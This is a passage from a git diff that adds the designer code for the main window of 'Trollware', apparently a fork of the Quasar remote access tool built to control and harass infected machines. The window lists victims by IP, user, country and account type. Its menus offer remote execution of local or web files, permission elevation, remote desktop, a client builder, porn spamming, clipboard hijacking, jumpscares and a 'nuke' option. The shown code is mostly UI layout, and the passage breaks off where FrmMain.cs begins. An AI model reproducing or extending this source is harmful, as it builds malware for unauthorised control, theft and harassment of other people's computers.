+ // + // elevateClientPermissionsToolStripMenuItem + // + this.elevateClientPermissionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield; + this.elevateClientPermissionsToolStripMenuItem.Name = "elevateClientPermissionsToolStripMenuItem"; + this.elevateClientPermissionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.elevateClientPermissionsToolStripMenuItem.Text = "Elevate Client Permissions"; + this.elevateClientPermissionsToolStripMenuItem.Click += new System.EventHandler(this.elevateClientPermissionsToolStripMenuItem_Click); + // + // updateToolStripMenuItem + // + this.updateToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("updateToolStripMenuItem.Image"))); + this.updateToolStripMenuItem.Name = "updateToolStripMenuItem"; + this.updateToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.updateToolStripMenuItem.Text = "Update"; + this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click); + // + // reconnectToolStripMenuItem + // + this.reconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("reconnectToolStripMenuItem.Image"))); + this.reconnectToolStripMenuItem.Name = "reconnectToolStripMenuItem"; + this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.reconnectToolStripMenuItem.Text = "Reconnect"; + this.reconnectToolStripMenuItem.Click += new System.EventHandler(this.reconnectToolStripMenuItem_Click); + // + // disconnectToolStripMenuItem + // + this.disconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("disconnectToolStripMenuItem.Image"))); + this.disconnectToolStripMenuItem.Name = "disconnectToolStripMenuItem"; + this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.disconnectToolStripMenuItem.Text = "Disconnect"; + this.disconnectToolStripMenuItem.Click += new System.EventHandler(this.disconnectToolStripMenuItem_Click); + // + // uninstallToolStripMenuItem + // + this.uninstallToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uninstallToolStripMenuItem.Image"))); + this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; + this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.uninstallToolStripMenuItem.Text = "Uninstall"; + this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.uninstallToolStripMenuItem_Click); + // + // lineToolStripMenuItem + // + this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; + this.lineToolStripMenuItem.Size = new System.Drawing.Size(177, 6); + // + // selectAllToolStripMenuItem + // + this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; + this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.selectAllToolStripMenuItem.Text = "Select All"; + this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click); + // + // imgFlags + // + this.imgFlags.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgFlags.ImageStream"))); + this.imgFlags.TransparentColor = System.Drawing.Color.Transparent; + this.imgFlags.Images.SetKeyName(0, "ad.png"); + this.imgFlags.Images.SetKeyName(1, "ae.png"); + this.imgFlags.Images.SetKeyName(2, "af.png"); + this.imgFlags.Images.SetKeyName(3, "ag.png"); + this.imgFlags.Images.SetKeyName(4, "ai.png"); + this.imgFlags.Images.SetKeyName(5, "al.png"); + this.imgFlags.Images.SetKeyName(6, "am.png"); + this.imgFlags.Images.SetKeyName(7, "an.png"); + this.imgFlags.Images.SetKeyName(8, "ao.png"); + this.imgFlags.Images.SetKeyName(9, "ar.png"); + this.imgFlags.Images.SetKeyName(10, "as.png"); + this.imgFlags.Images.SetKeyName(11, "at.png"); + this.imgFlags.Images.SetKeyName(12, "au.png"); + this.imgFlags.Images.SetKeyName(13, "aw.png"); + this.imgFlags.Images.SetKeyName(14, "ax.png"); + this.imgFlags.Images.SetKeyName(15, "az.png"); + this.imgFlags.Images.SetKeyName(16, "ba.png"); + this.imgFlags.Images.SetKeyName(17, "bb.png"); + this.imgFlags.Images.SetKeyName(18, "bd.png"); + this.imgFlags.Images.SetKeyName(19, "be.png"); + this.imgFlags.Images.SetKeyName(20, "bf.png"); + this.imgFlags.Images.SetKeyName(21, "bg.png"); + this.imgFlags.Images.SetKeyName(22, "bh.png"); + this.imgFlags.Images.SetKeyName(23, "bi.png"); + this.imgFlags.Images.SetKeyName(24, "bj.png"); + this.imgFlags.Images.SetKeyName(25, "bm.png"); + this.imgFlags.Images.SetKeyName(26, "bn.png"); + this.imgFlags.Images.SetKeyName(27, "bo.png"); + this.imgFlags.Images.SetKeyName(28, "br.png"); + this.imgFlags.Images.SetKeyName(29, "bs.png"); + this.imgFlags.Images.SetKeyName(30, "bt.png"); + this.imgFlags.Images.SetKeyName(31, "bv.png"); + this.imgFlags.Images.SetKeyName(32, "bw.png"); + this.imgFlags.Images.SetKeyName(33, "by.png"); + this.imgFlags.Images.SetKeyName(34, "bz.png"); + this.imgFlags.Images.SetKeyName(35, "ca.png"); + this.imgFlags.Images.SetKeyName(36, "catalonia.png"); + this.imgFlags.Images.SetKeyName(37, "cc.png"); + this.imgFlags.Images.SetKeyName(38, "cd.png"); + this.imgFlags.Images.SetKeyName(39, "cf.png"); + this.imgFlags.Images.SetKeyName(40, "cg.png"); + this.imgFlags.Images.SetKeyName(41, "ch.png"); + this.imgFlags.Images.SetKeyName(42, "ci.png"); + this.imgFlags.Images.SetKeyName(43, "ck.png"); + this.imgFlags.Images.SetKeyName(44, "cl.png"); + this.imgFlags.Images.SetKeyName(45, "cm.png"); + this.imgFlags.Images.SetKeyName(46, "cn.png"); + this.imgFlags.Images.SetKeyName(47, "co.png"); + this.imgFlags.Images.SetKeyName(48, "cr.png"); + this.imgFlags.Images.SetKeyName(49, "cs.png"); + this.imgFlags.Images.SetKeyName(50, "cu.png"); + this.imgFlags.Images.SetKeyName(51, "cv.png"); + this.imgFlags.Images.SetKeyName(52, "cx.png"); + this.imgFlags.Images.SetKeyName(53, "cy.png"); + this.imgFlags.Images.SetKeyName(54, "cz.png"); + this.imgFlags.Images.SetKeyName(55, "de.png"); + this.imgFlags.Images.SetKeyName(56, "dj.png"); + this.imgFlags.Images.SetKeyName(57, "dk.png"); + this.imgFlags.Images.SetKeyName(58, "dm.png"); + this.imgFlags.Images.SetKeyName(59, "do.png"); + this.imgFlags.Images.SetKeyName(60, "dz.png"); + this.imgFlags.Images.SetKeyName(61, "ec.png"); + this.imgFlags.Images.SetKeyName(62, "ee.png"); + this.imgFlags.Images.SetKeyName(63, "eg.png"); + this.imgFlags.Images.SetKeyName(64, "eh.png"); + this.imgFlags.Images.SetKeyName(65, "england.png"); + this.imgFlags.Images.SetKeyName(66, "er.png"); + this.imgFlags.Images.SetKeyName(67, "es.png"); + this.imgFlags.Images.SetKeyName(68, "et.png"); + this.imgFlags.Images.SetKeyName(69, "europeanunion.png"); + this.imgFlags.Images.SetKeyName(70, "fam.png"); + this.imgFlags.Images.SetKeyName(71, "fi.png"); + this.imgFlags.Images.SetKeyName(72, "fj.png"); + this.imgFlags.Images.SetKeyName(73, "fk.png"); + this.imgFlags.Images.SetKeyName(74, "fm.png"); + this.imgFlags.Images.SetKeyName(75, "fo.png"); + this.imgFlags.Images.SetKeyName(76, "fr.png"); + this.imgFlags.Images.SetKeyName(77, "ga.png"); + this.imgFlags.Images.SetKeyName(78, "gb.png"); + this.imgFlags.Images.SetKeyName(79, "gd.png"); + this.imgFlags.Images.SetKeyName(80, "ge.png"); + this.imgFlags.Images.SetKeyName(81, "gf.png"); + this.imgFlags.Images.SetKeyName(82, "gh.png"); + this.imgFlags.Images.SetKeyName(83, "gi.png"); + this.imgFlags.Images.SetKeyName(84, "gl.png"); + this.imgFlags.Images.SetKeyName(85, "gm.png"); + this.imgFlags.Images.SetKeyName(86, "gn.png"); + this.imgFlags.Images.SetKeyName(87, "gp.png"); + this.imgFlags.Images.SetKeyName(88, "gq.png"); + this.imgFlags.Images.SetKeyName(89, "gr.png"); + this.imgFlags.Images.SetKeyName(90, "gs.png"); + this.imgFlags.Images.SetKeyName(91, "gt.png"); + this.imgFlags.Images.SetKeyName(92, "gu.png"); + this.imgFlags.Images.SetKeyName(93, "gw.png"); + this.imgFlags.Images.SetKeyName(94, "gy.png"); + this.imgFlags.Images.SetKeyName(95, "hk.png"); + this.imgFlags.Images.SetKeyName(96, "hm.png"); + this.imgFlags.Images.SetKeyName(97, "hn.png"); + this.imgFlags.Images.SetKeyName(98, "hr.png"); + this.imgFlags.Images.SetKeyName(99, "ht.png"); + this.imgFlags.Images.SetKeyName(100, "hu.png"); + this.imgFlags.Images.SetKeyName(101, "id.png"); + this.imgFlags.Images.SetKeyName(102, "ie.png"); + this.imgFlags.Images.SetKeyName(103, "il.png"); + this.imgFlags.Images.SetKeyName(104, "in.png"); + this.imgFlags.Images.SetKeyName(105, "io.png"); + this.imgFlags.Images.SetKeyName(106, "iq.png"); + this.imgFlags.Images.SetKeyName(107, "ir.png"); + this.imgFlags.Images.SetKeyName(108, "is.png"); + this.imgFlags.Images.SetKeyName(109, "it.png"); + this.imgFlags.Images.SetKeyName(110, "jm.png"); + this.imgFlags.Images.SetKeyName(111, "jo.png"); + this.imgFlags.Images.SetKeyName(112, "jp.png"); + this.imgFlags.Images.SetKeyName(113, "ke.png"); + this.imgFlags.Images.SetKeyName(114, "kg.png"); + this.imgFlags.Images.SetKeyName(115, "kh.png"); + this.imgFlags.Images.SetKeyName(116, "ki.png"); + this.imgFlags.Images.SetKeyName(117, "km.png"); + this.imgFlags.Images.SetKeyName(118, "kn.png"); + this.imgFlags.Images.SetKeyName(119, "kp.png"); + this.imgFlags.Images.SetKeyName(120, "kr.png"); + this.imgFlags.Images.SetKeyName(121, "kw.png"); + this.imgFlags.Images.SetKeyName(122, "ky.png"); + this.imgFlags.Images.SetKeyName(123, "kz.png"); + this.imgFlags.Images.SetKeyName(124, "la.png"); + this.imgFlags.Images.SetKeyName(125, "lb.png"); + this.imgFlags.Images.SetKeyName(126, "lc.png"); + this.imgFlags.Images.SetKeyName(127, "li.png"); + this.imgFlags.Images.SetKeyName(128, "lk.png"); + this.imgFlags.Images.SetKeyName(129, "lr.png"); + this.imgFlags.Images.SetKeyName(130, "ls.png"); + this.imgFlags.Images.SetKeyName(131, "lt.png"); + this.imgFlags.Images.SetKeyName(132, "lu.png"); + this.imgFlags.Images.SetKeyName(133, "lv.png"); + this.imgFlags.Images.SetKeyName(134, "ly.png"); + this.imgFlags.Images.SetKeyName(135, "ma.png"); + this.imgFlags.Images.SetKeyName(136, "mc.png"); + this.imgFlags.Images.SetKeyName(137, "md.png"); + this.imgFlags.Images.SetKeyName(138, "me.png"); + this.imgFlags.Images.SetKeyName(139, "mg.png"); + this.imgFlags.Images.SetKeyName(140, "mh.png"); + this.imgFlags.Images.SetKeyName(141, "mk.png"); + this.imgFlags.Images.SetKeyName(142, "ml.png"); + this.imgFlags.Images.SetKeyName(143, "mm.png"); + this.imgFlags.Images.SetKeyName(144, "mn.png"); + this.imgFlags.Images.SetKeyName(145, "mo.png"); + this.imgFlags.Images.SetKeyName(146, "mp.png"); + this.imgFlags.Images.SetKeyName(147, "mq.png"); + this.imgFlags.Images.SetKeyName(148, "mr.png"); + this.imgFlags.Images.SetKeyName(149, "ms.png"); + this.imgFlags.Images.SetKeyName(150, "mt.png"); + this.imgFlags.Images.SetKeyName(151, "mu.png"); + this.imgFlags.Images.SetKeyName(152, "mv.png"); + this.imgFlags.Images.SetKeyName(153, "mw.png"); + this.imgFlags.Images.SetKeyName(154, "mx.png"); + this.imgFlags.Images.SetKeyName(155, "my.png"); + this.imgFlags.Images.SetKeyName(156, "mz.png"); + this.imgFlags.Images.SetKeyName(157, "na.png"); + this.imgFlags.Images.SetKeyName(158, "nc.png"); + this.imgFlags.Images.SetKeyName(159, "ne.png"); + this.imgFlags.Images.SetKeyName(160, "nf.png"); + this.imgFlags.Images.SetKeyName(161, "ng.png"); + this.imgFlags.Images.SetKeyName(162, "ni.png"); + this.imgFlags.Images.SetKeyName(163, "nl.png"); + this.imgFlags.Images.SetKeyName(164, "no.png"); + this.imgFlags.Images.SetKeyName(165, "np.png"); + this.imgFlags.Images.SetKeyName(166, "nr.png"); + this.imgFlags.Images.SetKeyName(167, "nu.png"); + this.imgFlags.Images.SetKeyName(168, "nz.png"); + this.imgFlags.Images.SetKeyName(169, "om.png"); + this.imgFlags.Images.SetKeyName(170, "pa.png"); + this.imgFlags.Images.SetKeyName(171, "pe.png"); + this.imgFlags.Images.SetKeyName(172, "pf.png"); + this.imgFlags.Images.SetKeyName(173, "pg.png"); + this.imgFlags.Images.SetKeyName(174, "ph.png"); + this.imgFlags.Images.SetKeyName(175, "pk.png"); + this.imgFlags.Images.SetKeyName(176, "pl.png"); + this.imgFlags.Images.SetKeyName(177, "pm.png"); + this.imgFlags.Images.SetKeyName(178, "pn.png"); + this.imgFlags.Images.SetKeyName(179, "pr.png"); + this.imgFlags.Images.SetKeyName(180, "ps.png"); + this.imgFlags.Images.SetKeyName(181, "pt.png"); + this.imgFlags.Images.SetKeyName(182, "pw.png"); + this.imgFlags.Images.SetKeyName(183, "py.png"); + this.imgFlags.Images.SetKeyName(184, "qa.png"); + this.imgFlags.Images.SetKeyName(185, "re.png"); + this.imgFlags.Images.SetKeyName(186, "ro.png"); + this.imgFlags.Images.SetKeyName(187, "rs.png"); + this.imgFlags.Images.SetKeyName(188, "ru.png"); + this.imgFlags.Images.SetKeyName(189, "rw.png"); + this.imgFlags.Images.SetKeyName(190, "sa.png"); + this.imgFlags.Images.SetKeyName(191, "sb.png"); + this.imgFlags.Images.SetKeyName(192, "sc.png"); + this.imgFlags.Images.SetKeyName(193, "scotland.png"); + this.imgFlags.Images.SetKeyName(194, "sd.png"); + this.imgFlags.Images.SetKeyName(195, "se.png"); + this.imgFlags.Images.SetKeyName(196, "sg.png"); + this.imgFlags.Images.SetKeyName(197, "sh.png"); + this.imgFlags.Images.SetKeyName(198, "si.png"); + this.imgFlags.Images.SetKeyName(199, "sj.png"); + this.imgFlags.Images.SetKeyName(200, "sk.png"); + this.imgFlags.Images.SetKeyName(201, "sl.png"); + this.imgFlags.Images.SetKeyName(202, "sm.png"); + this.imgFlags.Images.SetKeyName(203, "sn.png"); + this.imgFlags.Images.SetKeyName(204, "so.png"); + this.imgFlags.Images.SetKeyName(205, "sr.png"); + this.imgFlags.Images.SetKeyName(206, "st.png"); + this.imgFlags.Images.SetKeyName(207, "sv.png"); + this.imgFlags.Images.SetKeyName(208, "sy.png"); + this.imgFlags.Images.SetKeyName(209, "sz.png"); + this.imgFlags.Images.SetKeyName(210, "tc.png"); + this.imgFlags.Images.SetKeyName(211, "td.png"); + this.imgFlags.Images.SetKeyName(212, "tf.png"); + this.imgFlags.Images.SetKeyName(213, "tg.png"); + this.imgFlags.Images.SetKeyName(214, "th.png"); + this.imgFlags.Images.SetKeyName(215, "tj.png"); + this.imgFlags.Images.SetKeyName(216, "tk.png"); + this.imgFlags.Images.SetKeyName(217, "tl.png"); + this.imgFlags.Images.SetKeyName(218, "tm.png"); + this.imgFlags.Images.SetKeyName(219, "tn.png"); + this.imgFlags.Images.SetKeyName(220, "to.png"); + this.imgFlags.Images.SetKeyName(221, "tr.png"); + this.imgFlags.Images.SetKeyName(222, "tt.png"); + this.imgFlags.Images.SetKeyName(223, "tv.png"); + this.imgFlags.Images.SetKeyName(224, "tw.png"); + this.imgFlags.Images.SetKeyName(225, "tz.png"); + this.imgFlags.Images.SetKeyName(226, "ua.png"); + this.imgFlags.Images.SetKeyName(227, "ug.png"); + this.imgFlags.Images.SetKeyName(228, "um.png"); + this.imgFlags.Images.SetKeyName(229, "us.png"); + this.imgFlags.Images.SetKeyName(230, "uy.png"); + this.imgFlags.Images.SetKeyName(231, "uz.png"); + this.imgFlags.Images.SetKeyName(232, "va.png"); + this.imgFlags.Images.SetKeyName(233, "vc.png"); + this.imgFlags.Images.SetKeyName(234, "ve.png"); + this.imgFlags.Images.SetKeyName(235, "vg.png"); + this.imgFlags.Images.SetKeyName(236, "vi.png"); + this.imgFlags.Images.SetKeyName(237, "vn.png"); + this.imgFlags.Images.SetKeyName(238, "vu.png"); + this.imgFlags.Images.SetKeyName(239, "wales.png"); + this.imgFlags.Images.SetKeyName(240, "wf.png"); + this.imgFlags.Images.SetKeyName(241, "ws.png"); + this.imgFlags.Images.SetKeyName(242, "ye.png"); + this.imgFlags.Images.SetKeyName(243, "yt.png"); + this.imgFlags.Images.SetKeyName(244, "za.png"); + this.imgFlags.Images.SetKeyName(245, "zm.png"); + this.imgFlags.Images.SetKeyName(246, "zw.png"); + this.imgFlags.Images.SetKeyName(247, "xy.png"); + // + // notifyIcon + // + this.notifyIcon.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon.Icon"))); + this.notifyIcon.Text = "Trollware"; + this.notifyIcon.Visible = true; + this.notifyIcon.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler(this.notifyIcon_MouseDoubleClick); + // + // tableLayoutPanel + // + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.Controls.Add(this.statusStrip, 0, 2); + this.tableLayoutPanel.Controls.Add(this.lstClients, 0, 1); + this.tableLayoutPanel.Controls.Add(this.menuStrip, 0, 0); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.GrowStyle = System.Windows.Forms.TableLayoutPanelGrowStyle.FixedSize; + this.tableLayoutPanel.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 3; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 25F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 22F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(1022, 458); + this.tableLayoutPanel.TabIndex = 6; + // + // statusStrip + // + this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusStrip.ImageScalingSize = new System.Drawing.Size(24, 24); + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.listenToolStripStatusLabel}); + this.statusStrip.Location = new System.Drawing.Point(0, 436); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Size = new System.Drawing.Size(1022, 22); + this.statusStrip.TabIndex = 3; + this.statusStrip.Text = "statusStrip1"; + // + // listenToolStripStatusLabel + // + this.listenToolStripStatusLabel.Name = "listenToolStripStatusLabel"; + this.listenToolStripStatusLabel.Size = new System.Drawing.Size(87, 17); + this.listenToolStripStatusLabel.Text = "Listening: False"; + // + // lstClients + // + this.lstClients.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hIP, + this.hTag, + this.hUserPC, + this.hVersion, + this.hStatus, + this.hUserStatus, + this.hCountry, + this.hOS, + this.hAccountType}); + this.lstClients.ContextMenuStrip = this.contextMenuStrip; + this.lstClients.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstClients.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lstClients.FullRowSelect = true; + this.lstClients.Location = new System.Drawing.Point(3, 28); + this.lstClients.Name = "lstClients"; + this.lstClients.ShowItemToolTips = true; + this.lstClients.Size = new System.Drawing.Size(1016, 405); + this.lstClients.SmallImageList = this.imgFlags; + this.lstClients.TabIndex = 1; + this.lstClients.UseCompatibleStateImageBehavior = false; + this.lstClients.View = System.Windows.Forms.View.Details; + this.lstClients.SelectedIndexChanged += new System.EventHandler(this.lstClients_SelectedIndexChanged); + // + // hIP + // + this.hIP.Text = "IP Address"; + this.hIP.Width = 112; + // + // hTag + // + this.hTag.Text = "Tag"; + // + // hUserPC + // + this.hUserPC.Text = "User@PC"; + this.hUserPC.Width = 175; + // + // hVersion + // + this.hVersion.Text = "Version"; + this.hVersion.Width = 66; + // + // hStatus + // + this.hStatus.Text = "Status"; + this.hStatus.Width = 78; + // + // hUserStatus + // + this.hUserStatus.Text = "User Status"; + this.hUserStatus.Width = 72; + // + // hCountry + // + this.hCountry.Text = "Country"; + this.hCountry.Width = 117; + // + // hOS + // + this.hOS.Text = "Operating System"; + this.hOS.Width = 222; + // + // hAccountType + // + this.hAccountType.Text = "Account Type"; + this.hAccountType.Width = 100; + // + // menuStrip + // + this.menuStrip.Dock = System.Windows.Forms.DockStyle.None; + this.menuStrip.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.menuStrip.ImageScalingSize = new System.Drawing.Size(24, 24); + this.menuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.fIleToolStripMenuItem, + this.settingsToolStripMenuItem, + this.builderToolStripMenuItem, + this.aboutToolStripMenuItem}); + this.menuStrip.Location = new System.Drawing.Point(0, 0); + this.menuStrip.Name = "menuStrip"; + this.menuStrip.Size = new System.Drawing.Size(216, 25); + this.menuStrip.TabIndex = 2; + // + // fIleToolStripMenuItem + // + this.fIleToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.closeToolStripMenuItem}); + this.fIleToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.fIleToolStripMenuItem.Name = "fIleToolStripMenuItem"; + this.fIleToolStripMenuItem.Size = new System.Drawing.Size(39, 21); + this.fIleToolStripMenuItem.Text = "File"; + // + // closeToolStripMenuItem + // + this.closeToolStripMenuItem.Name = "closeToolStripMenuItem"; + this.closeToolStripMenuItem.Size = new System.Drawing.Size(108, 22); + this.closeToolStripMenuItem.Text = "Close"; + this.closeToolStripMenuItem.Click += new System.EventHandler(this.closeToolStripMenuItem_Click); + // + // settingsToolStripMenuItem + // + this.settingsToolStripMenuItem.Name = "settingsToolStripMenuItem"; + this.settingsToolStripMenuItem.Size = new System.Drawing.Size(61, 21); + this.settingsToolStripMenuItem.Text = "Settings"; + this.settingsToolStripMenuItem.Click += new System.EventHandler(this.settingsToolStripMenuItem_Click); + // + // builderToolStripMenuItem + // + this.builderToolStripMenuItem.Name = "builderToolStripMenuItem"; + this.builderToolStripMenuItem.Size = new System.Drawing.Size(56, 21); + this.builderToolStripMenuItem.Text = "Builder"; + this.builderToolStripMenuItem.Click += new System.EventHandler(this.builderToolStripMenuItem_Click); + // + // aboutToolStripMenuItem + // + this.aboutToolStripMenuItem.Name = "aboutToolStripMenuItem"; + this.aboutToolStripMenuItem.Size = new System.Drawing.Size(52, 21); + this.aboutToolStripMenuItem.Text = "Credits"; + this.aboutToolStripMenuItem.Click += new System.EventHandler(this.aboutToolStripMenuItem_Click); + // + // FrmMain + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1022, 458); + this.Controls.Add(this.tableLayoutPanel); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.Black; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MinimumSize = new System.Drawing.Size(680, 415); + this.Name = "FrmMain"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Trollware - Connected: 0"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmMain_FormClosing); + this.Load += new System.EventHandler(this.FrmMain_Load); + this.contextMenuStrip.ResumeLayout(false); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.menuStrip.ResumeLayout(false); + this.menuStrip.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader hIP; + private System.Windows.Forms.ColumnHeader hVersion; + private System.Windows.Forms.ColumnHeader hCountry; + private System.Windows.Forms.ColumnHeader hOS; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem connectionToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem reconnectToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem disconnectToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hTag; + private System.Windows.Forms.ImageList imgFlags; + private System.Windows.Forms.ColumnHeader hStatus; + private System.Windows.Forms.ToolStripMenuItem uninstallToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hAccountType; + private System.Windows.Forms.ColumnHeader hUserStatus; + private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem; + private AeroListView lstClients; + private System.Windows.Forms.NotifyIcon notifyIcon; + private System.Windows.Forms.ColumnHeader hUserPC; + private System.Windows.Forms.ToolStripSeparator lineToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem selectAllToolStripMenuItem; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + private System.Windows.Forms.MenuStrip menuStrip; + private System.Windows.Forms.ToolStripMenuItem fIleToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem settingsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem builderToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel; + private System.Windows.Forms.ToolStripMenuItem userSupportToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem showMessageboxToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem visitWebsiteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteExecuteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem localFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem webFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem elevateClientPermissionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteDesktopToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem pornSpammerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startPornSpamToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopPornSpamToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem cursorChaosToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startCursorChaosToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopCursorChaosToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem clipboardHijackToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startClipboardHijackToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopClipboardHijackToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem jumpscareToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem ghostTypingToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem textToSpeechToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem eyesToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startEyesToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopEyesToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem schizophreniaToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startSchizophreniaToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopSchizophreniaToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem colorInvertToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startColorInvertToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopColorInvertToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem lockScreenToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem cdTrayToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem mouseSwapToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem restoreMouseToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem setWallpaperToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem beepSpamToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem pianoToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem fartScrollToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startFartScrollToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopFartScrollToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem drunkModeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startDrunkModeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopDrunkModeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem nukeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startNukeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopNukeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startBeepSpamToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem stopBeepSpamToolStripMenuItem; + } +} + diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs new file mode 100644 index 0000000..250d169 --- /dev/null +++ b/Quasar.Server/Forms/FrmMain.cs @@ -0,0 +1,873 @@ +using Quasar.Common.Enums; +using 